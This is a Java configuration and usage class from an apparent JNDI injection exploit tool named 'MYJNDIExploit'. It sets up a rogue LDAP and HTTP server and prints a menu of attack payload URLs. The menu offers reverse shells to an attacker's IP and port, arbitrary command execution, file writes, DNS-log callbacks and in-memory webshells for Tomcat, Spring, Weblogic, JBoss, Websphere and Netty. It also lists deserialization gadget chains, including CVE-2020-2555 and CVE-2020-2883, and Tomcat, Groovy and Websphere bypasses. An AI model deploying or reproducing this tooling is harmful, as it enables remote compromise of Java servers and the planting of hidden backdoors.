content: package com.feihong.ldap.utils;
  
  import com.beust.jcommander.JCommander;
  import com.beust.jcommander.Parameter;
  import com.beust.jcommander.UnixStyleUsageFormatter;
  import com.feihong.ldap.LdapServer;
  import com.feihong.ldap.controllers.LdapController;
  
  public class Config {
      public static String codeBase;
  
      @Parameter(names = {"-i", "--ip"}, description = "Local ip address ", required = true, order = 1)
      public static String ip;
  
      @Parameter(names = {"-l", "--ldapPort"}, description = "Ldap bind port", order = 2)
      public static int ldapPort = 1389;
  
      @Parameter(names = {"-p", "--httpPort"}, description = "Http bind port", order = 3)
      public static int httpPort = 8080;
  
      @Parameter(names = {"-u", "--usage"}, description = "Show usage", order = 4)
      public static boolean showUsage;
  
      @Parameter(names = {"-h", "--help"}, help = true, description = "Show this help")
      private static boolean help = false;
  
      @Parameter(names = {"-o", "--output"}, help = true, description = "out put file")
      public static boolean outputFile = false;
  
      public static void applyCmdArgs(String[] args) {
          //process cmd args
          JCommander jc = JCommander.newBuilder()
                  .addObject(new Config())
                  .build();
          try{
              jc.parse(args);
             //Config.ip = "192.168.186.128";
              //Config.httpPort=8088;
              //Config.ldapPort=1389;
          }catch(Exception e){
              if(!showUsage){
                  System.out.println("Error: " + e.getMessage() + "\n");
                  help = true;
              }
          }
          if(outputFile){
              final String payloadStr = args[1];
              String base = payloadStr;
              if (base.startsWith("/")){
                  base = base.substring(1,base.length());
              }
              LdapController controller = null;
              //find controller
              try {
                  for(String key: new LdapServer().routes.keySet()) {
                      //compare using wildcard at the end
                      if(base.toLowerCase().startsWith(key)) {
                          controller = LdapServer.routes.get(key);
                          break;
                      }
                  }
              } catch (Exception e) {
                  e.printStackTrace();
              }
  
              if(controller == null){
                  System.out.println("[!] Invalid Base Query: " + base);
                  return;
              }
  
              try {
                  controller.process(base);
                  controller.sendResult(null, base);
              } catch (Exception e1) {
                  System.out.println("[!] Exception: " + e1.getMessage());
              }
              System.exit(0);
          }
  
          if(showUsage){
              String ip = (Config.ip != null) ? Config.ip : "[IP]";
              String port = (Config.ip != null) ? Config.ldapPort + "" : "[PORT]";
  
              System.out.println("Supported LADP Queries：");
              System.out.println("* all words are case INSENSITIVE when send to ldap server");
              String prefix = "ldap://" + Config.ip + ":" + Config.ldapPort + "/";
              System.out.println("\n[+] Basic Queries: " + prefix + "Basic/[PayloadType]/[Params], e.g.");
              System.out.println("    " + prefix + "Basic/Dnslog/[domain]");
              System.out.println("    " + prefix + "Basic/myclass/[YourClass] demo:Basic/myclass/Exp。 Exp放在lib 文件下");
              System.out.println("    " + prefix + "Basic/PutFile/Path/Content （Path 为Base64， Content 为Base64数据 其中 ‘/’ 用 ‘_]’替换，‘+’用_@_替换）");
              System.out.println("    " + prefix + "Basic/commandecho/[HttpLog]/[Command]");
              System.out.println("    " + prefix + "Basic/Command/[cmd]");
              System.out.println("    " + prefix + "Basic/Command/Base64/[base64_encoded_cmd]");
              System.out.println("    " + prefix + "Basic/ReverseShell/[ip]/[port]  ---windows NOT supported");
              System.out.println("    " + prefix + "Basic/TomcatEcho");
              System.out.println("    " + prefix + "Basic/SpringEcho");
              System.out.println("    " + prefix + "Basic/WeblogicEcho");
              System.out.println("    " + prefix + "Basic/TomcatMemshell1");
              System.out.println("    " + prefix + "Basic/TomcatMemshell2  ---need extra header [shell: true]");
              System.out.println("    " + prefix + "Basic/JettyMemshell");
              System.out.println("    " + prefix + "Basic/WeblogicMemshell1");
              System.out.println("    " + prefix + "Basic/WeblogicMemshell2");
              System.out.println("    " + prefix + "Basic/JBossMemshell");
              System.out.println("    " + prefix + "Basic/WebsphereMemshell");
              System.out.println("    " + prefix + "Basic/SpringMemshell   ");
              System.out.println("    " + prefix + "Basic/SpringMemshell2  Interceptor 内存马");
              System.out.println("    " + prefix + "Basic/nettymeshell  netty 内存马");
  
              System.out.println("\n[+] Deserialize Queries: " + prefix + "Deserialization/[GadgetType]/[PayloadType]/[Params], e.g.");
              System.out.println("    " + prefix + "Deserialization/URLDNS/[domain]");
              System.out.println("    " + prefix + "Deserialization/PutFile/Path/Content （Path 为Base64， Content 为Base64数据 其中 ‘/’ 用 ‘_]’替换，‘+’用_@_替换）");
              System.out.println("    " + prefix + "Deserialization/commandecho/[HttpLog]/[Command]");
              System.out.println("    " + prefix + "Deserialization/CommonsCollectionsK1/Dnslog/[domain]");
              System.out.println("    " + prefix + "Deserialization/CommonsCollectionsK2/Command/Base64/[base64_encoded_cmd]");
              System.out.println("    " + prefix + "Deserialization/CommonsBeanutils1/ReverseShell/[ip]/[port]  ---windows NOT supported");
              System.out.println("    " + prefix + "Deserialization/CommonsBeanutils2/TomcatEcho");
              System.out.println("    " + prefix + "Deserialization/C3P0/SpringEcho");
              System.out.println("    " + prefix + "Deserialization/Jdk7u21/WeblogicEcho");
              System.out.println("    " + prefix + "Deserialization/Jre8u20/TomcatMemshell");
              System.out.println("    " + prefix + "Deserialization/CVE_2020_2555/WeblogicMemshell1");
              System.out.println("    " + prefix + "Deserialization/CVE_2020_2883/WeblogicMemshell2    ---ALSO support other memshells");
  
              System.out.println("\n[+] TomcatBypass Queries");
              System.out.println("    " + prefix + "TomcatBypass/Dnslog/[domain]");
              System.out.println("    " + prefix + "TomcatBypass/commandecho/[Httplog]/[command]}");
              System.out.println("    " + prefix + "TomcatBypass/Command/[cmd]");
              System.out.println("    " + prefix + "TomcatBypass/Command/Base64/[base64_encoded_cmd]");
              System.out.println("    " + prefix + "TomcatBypass/ReverseShell/[ip]/[port]  ---windows NOT supported");
              System.out.println("    " + prefix + "TomcatBypass/TomcatEcho");
              System.out.println("    " + prefix + "TomcatBypass/SpringEcho");
              System.out.println("    " + prefix + "TomcatBypass/TomcatMemshell1");
              System.out.println("    " + prefix + "TomcatBypass/TomcatMemshell2  ---need extra header [shell: true]");
              System.out.println("    " + prefix + "TomcatBypass/SpringMemshell");
  
              System.out.println("\n[+] GroovyBypass Queries");
              System.out.println("    " + prefix + "GroovyBypass/Command/[cmd]");
              System.out.println("    " + prefix + "GroovyBypass/Command/Base64/[base64_encoded_cmd]");
  
              System.out.println("\n[+] WebsphereBypass Queries");
              System.out.println("    " + prefix + "WebsphereBypass/List/file=[file or directory]");
              System.out.println("    " + prefix + "WebsphereBypass/Upload/Dnslog/[domain]");
              System.out.println("    " + prefix + "WebsphereBypass/Upload/Command/[cmd]");
              System.out.println("    " + prefix + "WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd]");
              System.out.println("    " + prefix + "WebsphereBypass/Upload/ReverseShell/[ip]/[port]  ---windows NOT supported");
              System.out.println("    " + prefix + "WebsphereBypass/Upload/WebsphereMemshell");
              System.out.println("    " + prefix + "WebsphereBypass/RCE/path=[uploaded_jar_path]   ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmp");
  
              System.exit(0);
          }
  
  //        //获取当前 Jar 的名称
  //        String jarPath = Starter.class.getProtectionDomain().getCodeSource().getLocation().getPath();
          jc.setProgramName("java -jar  MYJNDIExploit1.1.jar");
          jc.setUsageFormatter(new UnixStyleUsageFormatter(jc));
  
          if(help) {
              jc.usage(); //if -h specified, show help and exit
              System.exit(0);
          }
  
          // 特别注意：最后一个反斜杠不能少啊
          Config.codeBase = "http://" + Config.ip + ":" + Config.httpPort + "/";
      }
  }
  